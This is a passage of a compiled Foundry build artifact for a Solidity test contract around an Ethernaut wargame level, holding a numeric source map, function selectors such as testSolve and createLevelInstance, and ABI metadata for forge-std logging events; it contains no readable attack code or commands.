:47:142;;-1:-1:-1;;;;;1796:8:142;;;1780:47;;;18329:74:155;1823:1:142;18419:18:155;;;18412:34;1765:12:142;;-1:-1:-1;1780:7:142;;-1:-1:-1;1780:7:142;;18302:18:155;;1780:47:142;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1837:8;;:30;;;;;19124:66:155;19112:79;;1837:30:142;;;19094:98:155;1765:62:142;;-1:-1:-1;;;;;;1837:8:142;;:15;;19067:18:155;;1837:30:142;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1909:9:142;;1928:8;;1878:61;;-1:-1:-1;1889:49:142;;-1:-1:-1;;;;;;1909:9:142;;;;1928:8;1889:19;:49::i;:::-;1878:10;:61::i;:::-;1723:223;1695:251::o;2592:140:5:-;2640:34;2707:18;2686:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2031:325:154;2098:9;2119:19;2141:15;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;2119:37;;2166:16;2227;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;2246:5;2261:9;2204:68;;;;;:::i;:::-;-1:-1:-1;;;;;19484:15:155;;;19466:34;;19536:15;;;19531:2;19516:18;;19509:43;19588:15;;;19583:2;19568:18;;19561:43;19393:2;19378:18;2204:68:154;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;2284:39:154;;;;;-1:-1:-1;;;;;865:55:155;;;2284:39:154;;;847:74:155;2166:108:154;;-1:-1:-1;2284:23:154;;;;;;820:18:155;;2284:39:154;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;2340:9:154;;2031:325;-1:-1:-1;;;;;;2031:325:154:o;3069:146:5:-;3117:40;3190:18;3169:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;3169:39:5;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1676:349:154;1760:4;317:28:0;309:37;;-1:-1:-1;;;;;1776:13:154;;:15;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1801:48:154;;;;;-1:-1:-1;;;;;865:55:155;;;1801:48:154;;;847:74:155;1801:29:154;;;-1:-1:-1;1801:29:154;;-1:-1:-1;820:18:155;;1801:48:154;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1859:23;317:28:0;309:37;;-1:-1:-1;;;;;1885:18:154;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1885:20:154;;;;;;;;;;;;:::i;:::-;1859:46;;1937:1;1920:7;:14;:18;1916:103;;;1961:4;1954:11;;;;;1916:103;2003:5;1996:12;;;1676:349;;;;;:::o;2157:141:5:-;2206:34;2273:18;2252:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1503:137:142;1554:6;;1540:21;;-1:-1:-1;;;1540:21:142;;-1:-1:-1;;;;;1554:6:142;;;1540:21;;;847:74:155;1540:13:142;;;;820:18:155;;1540:21:142;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;1603:9:142;;1622:8;;1571:62;;-1:-1:-1;1583:49:142;;-1:-1:-1;;;;;;1603:9:142;;;;1622:8;1583:19;:49::i;:::-;1571:11;:62::i;:::-;1503:137::o;1243:204:1:-;1302:7;;1282:4;;1302:7;;1298:143;;;-1:-1:-1;1332:7:1;;;;;1243:204::o;1298:143::-;1377:39;;-1:-1:-1;;;1377:39:1;;:7;:39;;;18329:74:155;;;1398:17:1;18419:18:155;;;18412:34;1428:1:1;;1377:7;;18302:18:155;;1377:39:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:53;;1370:60;;1243:204;:::o;2304:142:5:-;2353:35;2421:18;2400:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2400:39:5;;;;;;;;;;;;;;;;;;;;;;2304:142;:::o;1177:141:154:-;1235:19;1257:24;1272:9;1257:12;:24;:::i;:::-;1291:20;;;;;;;;20078:25:155;;;1235:46:154;;-1:-1:-1;1291:7:154;;;;20051:18:155;;1291:20:154;;;;;;;;;;;;;;;;;;;2769:147:6;2881:28;;;;;2850:12;;2881:17;;;;:28;;2899:4;;2905:3;;2881:28;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;2881:28:6;;;;;;;;;;;;:::i;:::-;2874:35;2769:147;-1:-1:-1;;;2769:147:6:o;1594:89:1:-;1657:19;;;;;9909:14:155;;9902:22;1657:19:1;;;9884:41:155;1657:13:1;;;;9857:18:155;;1657:19:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1594:89;:::o;1808:91::-;1872:20;;;;;9909:14:155;;9902:22;1872:20:1;;;9884:41:155;1872:14:1;;;;9857:18:155;;1872:20:1;9744:187:155;-1:-1:-1;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;:::-;;;;;;;;:::o;14:165:155:-;-1:-1:-1;;;;;104:5:155;100:54;93:5;90:65;80:93;;169:1;166;159:12;184:512;295:6;303;311;364:2;352:9;343:7;339:23;335:32;332:52;;;380:1;377;370:12;332:52;419:9;406:23;438:42;474:5;438:42;:::i;:::-;499:5;-1:-1:-1;556:2:155;541:18;;528:32;569:44;528:32;569:44;:::i;:::-;184:512;;632:7;;-1:-1:-1;;;686:2:155;671:18;;;;658:32;;184:512::o;932:681::-;1103:2;1155:21;;;1225:13;;1128:18;;;1247:22;;;1074:4;;1103:2;1326:15;;;;1300:2;1285:18;;;1074:4;1369:218;1383:6;1380:1;1377:13;1369:218;;;1448:13;;-1:-1:-1;;;;;1444:62:155;1432:75;;1562:15;;;;1527:12;;;;1405:1;1398:9;1369:218;;;-1:-1:-1;1604:3:155;;932:681;-1:-1:-1;;;;;;932:681:155:o;1618:184::-;-1:-1:-1;;;1667:1:155;1660:88;1767:4;1764:1;1757:15;1791:4;1788:1;1781:15;1807:253;1879:2;1873:9;1921:4;1909:17;;1956:18;1941:34;;1977:22;;;1938:62;1935:88;;;2003:18;;:::i;:::-;2039:2;2032:22;1807:253;:::o;2065:275::-;2136:2;2130:9;2201:2;2182:13;;-1:-1:-1;;2178:27:155;2166:40;;2236:18;2221:34;;2257:22;;;2218:62;2215:88;;;2283:18;;:::i;:::-;2319:2;2312:22;2065:275;;-1:-1:-1;2065:275:155:o;2345:187::-;2394:4;2427:18;2419:6;2416:30;2413:56;;;2449:18;;:::i;:::-;-1:-1:-1;2515:2:155;2494:15;-1:-1:-1;;2490:29:155;2521:4;2486:40;;2345:187::o;2537:673::-;2606:6;2659:2;2647:9;2638:7;2634:23;2630:32;2627:52;;;2675:1;2672;2665:12;2627:52;2715:9;2702:23;2748:18;2740:6;2737:30;2734:50;;;2780:1;2777;2770:12;2734:50;2803:22;;2856:4;2848:13;;2844:27;-1:-1:-1;2834:55:155;;2885:1;2882;2875:12;2834:55;2921:2;2908:16;2946:49;2962:32;2991:2;2962:32;:::i;:::-;2946:49;:::i;:::-;3018:2;3011:5;3004:17;3058:7;3053:2;3048;3044;3040:11;3036:20;3033:33;3030:53;;;3079:1;3076;3069:12;3030:53;3134:2;3129;3125;3121:11;3116:2;3109:5;3105:14;3092:45;3178:1;3157:14;;;3173:2;3153:23;3146:34;;;;3161:5;2537:673;-1:-1:-1;;;;2537:673:155:o;3215:250::-;3300:1;3310:113;3324:6;3321:1;3318:13;3310:113;;;3400:11;;;3394:18;3381:11;;;3374:39;3346:2;3339:10;3310:113;;;-1:-1:-1;;3457:1:155;3439:16;;3432:27;3215:250::o;3470:271::-;3512:3;3550:5;3544:12;3577:6;3572:3;3565:19;3593:76;3662:6;3655:4;3650:3;3646:14;3639:4;3632:5;3628:16;3593:76;:::i;:::-;3723:2;3702:15;-1:-1:-1;;3698:29:155;3689:39;;;;3730:4;3685:50;;3470:271;-1:-1:-1;;3470:271:155:o;3746:1737::-;3979:2;4031:21;;;4101:13;;4004:18;;;4123:22;;;3950:4;;3979:2;4164;;4182:18;;;;4219:1;4262:14;;;4247:30;;4243:39;;4305:15;;;3950:4;4348:1106;4362:6;4359:1;4356:13;4348:1106;;;-1:-1:-1;;4427:22:155;;;4423:36;4411:49;;4483:13;;4570:9;;-1:-1:-1;;;;;4566:58:155;4551:74;;4664:11;;4658:18;4696:15;;;4689:27;;;4777:19;;4523:15;;;4809:24;;;4990:21;;;;4856:2;4938:17;;;4926:30;;4922:39;;;4880:15;;;;5035:1;5049:296;5065:8;5060:3;5057:17;5049:296;;;5171:2;5167:7;5158:6;5150;5146:19;5142:33;5135:5;5128:48;5203:42;5238:6;5227:8;5221:15;5203:42;:::i;:::-;5274:17;;;;5193:52;-1:-1:-1;5317:14:155;;;;5093:1;5084:11;5049:296;;;-1:-1:-1;;;5432:12:155;;;;5368:6;-1:-1:-1;;5397:15:155;;;;4384:1;4377:9;4348:1106;;;-1:-1:-1;5471:6:155;;3746:1737;-1:-1:-1;;;;;;;;;3746:1737:155:o;5488:1609::-;5690:4;5719:2;5759;5748:9;5744:18;5789:2;5778:9;5771:21;5812:6;5847;5841:13;5878:6;5870;5863:22;5904:2;5894:12;;5937:2;5926:9;5922:18;5915:25;;5999:2;5989:6;5986:1;5982:14;5971:9;5967:30;5963:39;6037:2;6029:6;6025:15;6058:1;6068:1000;6082:6;6079:1;6076:13;6068:1000;;;6147:22;;;-1:-1:-1;;6143:36:155;6131:49;;6203:13;;6290:9;;-1:-1:-1;;;;;6286:58:155;6271:74;;6384:11;;6378:18;6416:15;;;6409:27;;;6497:19;;6243:15;;;6529:24;;;6619:21;;;;6664:1;;6587:2;6575:15;;;6678:282;6694:8;6689:3;6686:17;6678:282;;;6775:15;;6792:66;6771:88;6757:103;;6929:17;;;;6722:1;6713:11;;;;;6886:14;;;;6678:282;;;-1:-1:-1;7046:12:155;;;;6983:5;-1:-1:-1;;;7011:15:155;;;;6104:1;6097:9;6068:1000;;;-1:-1:-1;7085:6:155;;5488:1609;-1:-1:-1;;;;;;;;5488:1609:155:o;7102:180::-;7161:6;7214:2;7202:9;7193:7;7189:23;7185:32;7182:52;;;7230:1;7227;7220:12;7182:52;-1:-1:-1;7253:23:155;;7102:180;-1:-1:-1;7102:180:155:o;7989:803::-;8151:4;8180:2;8220;8209:9;8205:18;8250:2;8239:9;8232:21;8273:6;8308;8302:13;8339:6;8331;8324:22;8377:2;8366:9;8362:18;8355:25;;8439:2;8429:6;8426:1;8422:14;8411:9;8407:30;8403:39;8389:53;;8477:2;8469:6;8465:15;8498:1;8508:255;8522:6;8519:1;8516:13;8508:255;;;8615:2;8611:7;8599:9;8591:6;8587:22;8583:36;8578:3;8571:49;8643:40;8676:6;8667;8661:13;8643:40;:::i;:::-;8633:50;-1:-1:-1;8741:12:155;;;;8706:15;;;;8544:1;8537:9;8508:255;;;-1:-1:-1;8780:6:155;;7989:803;-1:-1:-1;;;;;;;7989:803:155:o;8797:258::-;8856:6;8909:2;8897:9;8888:7;8884:23;8880:32;8877:52;;;8925:1;8922;8915:12;8877:52;8964:9;8951:23;8983:42;9019:5;8983:42;:::i;9310:429::-;9397:6;9405;9458:2;9446:9;9437:7;9433:23;9429:32;9426:52;;;9474:1;9471;9464:12;9426:52;9513:9;9500:23;9532:42;9568:5;9532:42;:::i;:::-;9593:5;-1:-1:-1;9650:2:155;9635:18;;9622:32;9663:44;9622:32;9663:44;:::i;:::-;9726:7;9716:17;;;9310:429;;;;;:::o;10183:184::-;-1:-1:-1;;;10232:1:155;10225:88;10332:4;10329:1;10322:15;10356:4;10353:1;10346:15;11782:186;11845:4;11878:18;11870:6;11867:30;11864:56;;;11900:18;;:::i;:::-;-1:-1:-1;11945:1:155;11941:14;11957:4;11937:25;;11782:186::o;11973:321::-;12048:5;12077:53;12093:36;12122:6;12093:36;:::i;12077:53::-;12068:62;;12153:6;12146:5;12139:21;12193:3;12184:6;12179:3;12175:16;12172:25;12169:45;;;12210:1;12207;12200:12;12169:45;12223:65;12281:6;12274:4;12267:5;12263:16;12258:3;12223:65;:::i;12299:235::-;12352:5;12405:3;12398:4;12390:6;12386:17;12382:27;12372:55;;12423:1;12420;12413:12;12372:55;12445:83;12524:3;12515:6;12509:13;12502:4;12494:6;12490:17;12445:83;:::i;12539:149::-;12618:13;;12640:42;12618:13;12640:42;:::i;:::-;12539:149;;;:::o;12693:2249::-;12810:6;12841:2;12884;12872:9;12863:7;12859:23;12855:32;12852:52;;;12900:1;12897;12890:12;12852:52;12933:9;12927:16;12962:18;13003:2;12995:6;12992:14;12989:34;;;13019:1;13016;13009:12;12989:34;13057:6;13046:9;13042:22;13032:32;;13102:7;13095:4;13091:2;13087:13;13083:27;13073:55;;13124:1;13121;13114:12;13073:55;13153:2;13147:9;13176:63;13192:46;13235:2;13192:46;:::i;13176:63::-;13273:15;;;13355:1;13351:10;;;;13343:19;;13339:28;;;13304:12;;;;13379:19;;;13376:39;;;13411:1;13408;13401:12;13376:39;13443:2;13439;13435:11;13455:1457;13471:6;13466:3;13463:15;13455:1457;;;13550:3;13544:10;13586:2;13573:11;13570:19;13567:39;;;13602:1;13599;13592:12;13567:39;13629:20;;13701:4;13673:16;;;-1:-1:-1;;13669:30:155;13665:41;13662:61;;;13719:1;13716;13709:12;13662:61;13749:22;;:::i;:::-;13814:2;13810;13806:11;13800:18;13847:2;13837:8;13834:16;13831:36;;;13863:1;13860;13853:12;13831:36;13890:17;;13942:2;13934:11;;13930:25;-1:-1:-1;13920:53:155;;13969:1;13966;13959:12;13920:53;14010:2;14006;14002:11;13996:18;14040:63;14056:46;14099:2;14056:46;:::i;14040:63::-;14147:17;;;14245:1;14241:10;;;;14233:19;;14254:2;14229:28;;14186:14;;;;14273:21;;;14270:41;;;14307:1;14304;14297:12;14270:41;14345:2;14341;14337:11;14324:24;;14361:167;14379:8;14372:5;14369:19;14361:167;;;14461:12;;14447:27;;14400:14;;;;14500;;;;14361:167;;;14541:20;;-1:-1:-1;;;14604:2:155;14596:11;;14590:18;14624:16;;;14621:36;;;14653:1;14650;14643:12;14621:36;14693:64;14749:7;14744:2;14733:8;14729:2;14725:17;14721:26;14693:64;:::i;:::-;14688:2;14681:5;14677:14;14670:88;;14794:44;14832:4;14828:2;14824:13;14794:44;:::i;:::-;14789:2;14778:14;;14771:68;14852:18;;-1:-1:-1;14890:12:155;;;;13488;;13455:1457;;;-1:-1:-1;14931:5:155;12693:2249;-1:-1:-1;;;;;;;;12693:2249:155:o;14947:184::-;-1:-1:-1;;;14996:1:155;14989:88;15096:4;15093:1;15086:15;15120:4;15117:1;15110:15;15136:128;15203:9;;;15224:11;;;15221:37;;;15238:18;;:::i;15269:458::-;15349:6;15402:2;15390:9;15381:7;15377:23;15373:32;15370:52;;;15418:1;15415;15408:12;15370:52;15451:9;15445:16;15484:18;15476:6;15473:30;15470:50;;;15516:1;15513;15506:12;15470:50;15539:22;;15592:4;15584:13;;15580:27;-1:-1:-1;15570:55:155;;15621:1;15618;15611:12;15570:55;15644:77;15713:7;15708:2;15702:9;15697:2;15693;15689:11;15644:77;:::i;:::-;15634:87;15269:458;-1:-1:-1;;;;15269:458:155:o;15732:939::-;16244:7;16239:3;16232:20;16214:3;16281:6;16275:13;16297:74;16364:6;16360:1;16355:3;16351:11;16344:4;16336:6;16332:17;16297:74;:::i;:::-;16434:7;16430:1;16390:16;;;16422:10;;;16415:27;16467:13;;16489:76;16467:13;16551:2;16543:11;;16536:4;16524:17;;16489:76;:::i;:::-;16630:7;16625:2;16584:17;;;;16617:11;;;16610:28;16662:2;16654:11;;15732:939;-1:-1:-1;;;;15732:939:155:o;16676:496::-;16855:3;16893:6;16887:13;16909:66;16968:6;16963:3;16956:4;16948:6;16944:17;16909:66;:::i;:::-;17038:13;;16997:16;;;;17060:70;17038:13;16997:16;17107:4;17095:17;;17060:70;:::i;:::-;17146:20;;16676:496;-1:-1:-1;;;;16676:496:155:o;17177:220::-;17326:2;17315:9;17308:21;17289:4;17346:45;17387:2;17376:9;17372:18;17364:6;17346:45;:::i;17402:437::-;17481:1;17477:12;;;;17524;;;17545:61;;17599:4;17591:6;17587:17;17577:27;;17545:61;17652:2;17644:6;17641:14;17621:18;17618:38;17615:218;;-1:-1:-1;;;17686:1:155;17679:88;17790:4;17787:1;17780:15;17818:4;17815:1;17808:15;17615:218;;17402:437;;;:::o;17844:270::-;17922:6;17975:2;17963:9;17954:7;17950:23;17946:32;17943:52;;;17991:1;17988;17981:12;17943:52;18023:9;18017:16;18042:42;18078:5;18042:42;:::i;18759:184::-;18829:6;18882:2;18870:9;18861:7;18857:23;18853:32;18850:52;;;18898:1;18895;18888:12;18850:52;-1:-1:-1;18921:16:155;;18759:184;-1:-1:-1;18759:184:155:o;19802:125::-;19867:9;;;19888:10;;;19885:36;;;19901:18;;:::i;20114:383::-;20311:2;20300:9;20293:21;20274:4;20337:45;20378:2;20367:9;20363:18;20355:6;20337:45;:::i;:::-;20430:9;20422:6;20418:22;20413:2;20402:9;20398:18;20391:50;20458:33;20484:6;20476;20458:33;:::i;:::-;20450:41;20114:383;-1:-1:-1;;;;;20114:383:155:o;20502:335::-;20581:6;20634:2;20622:9;20613:7;20609:23;20605:32;20602:52;;;20650:1;20647;20640:12;20602:52;20683:9;20677:16;20716:18;20708:6;20705:30;20702:50;;;20748:1;20745;20738:12;20702:50;20771:60;20823:7;20814:6;20803:9;20799:22;20771:60;:::i","linkReferences":{}},"methodIdentifiers":{"IS_TEST()":"fa7626d4","createLevelInstance(address,address,uint256)":"1c7db669","createUsers(uint256)":"792e11f5","excludeArtifacts()":"b5508aa9","excludeContracts()":"e20c9f71","excludeSenders()":"1ed7831c","failed()":"ba414fa6","getEthernautWithStatsProxy(address)":"85db81cc","getNextUserAddress()":"b90a68fa","getOldFactory(string)":"2356661a","mineBlocks(uint256)":"f82de7b0","setUp()":"0a9254e4","submitLevelInstance(address,address)":"9b59adbc","targetArtifactSelectors()":"66d9a9a0","targetArtifacts()":"85226c81","targetContracts()":"3f7286f4","targetInterfaces()":"2ade3880","targetSelectors()":"916a17c6","targetSenders()":"3e5e3c23","testInit()":"b5d11e99","testSolve()":"832e5fc2"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"log_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"log_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"name\":\"log_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"contract Level\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"createLevelInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"userNum\",\"type\":\"uint256\"}],\"name\":\"createUsers\",\"outputs\":[{\"internalType\":\"address payable[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"getEthernautWithStatsProxy\",\"outputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNextUserAddress\",\"outputs\":[{\"internalType\":\"address payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"contractName\",\"type\":\"string\"}],\"name\":\"getOldFactory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"numBlocks\",\"type\":\"uint256\"}],\"name\":\"mineBlocks\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct 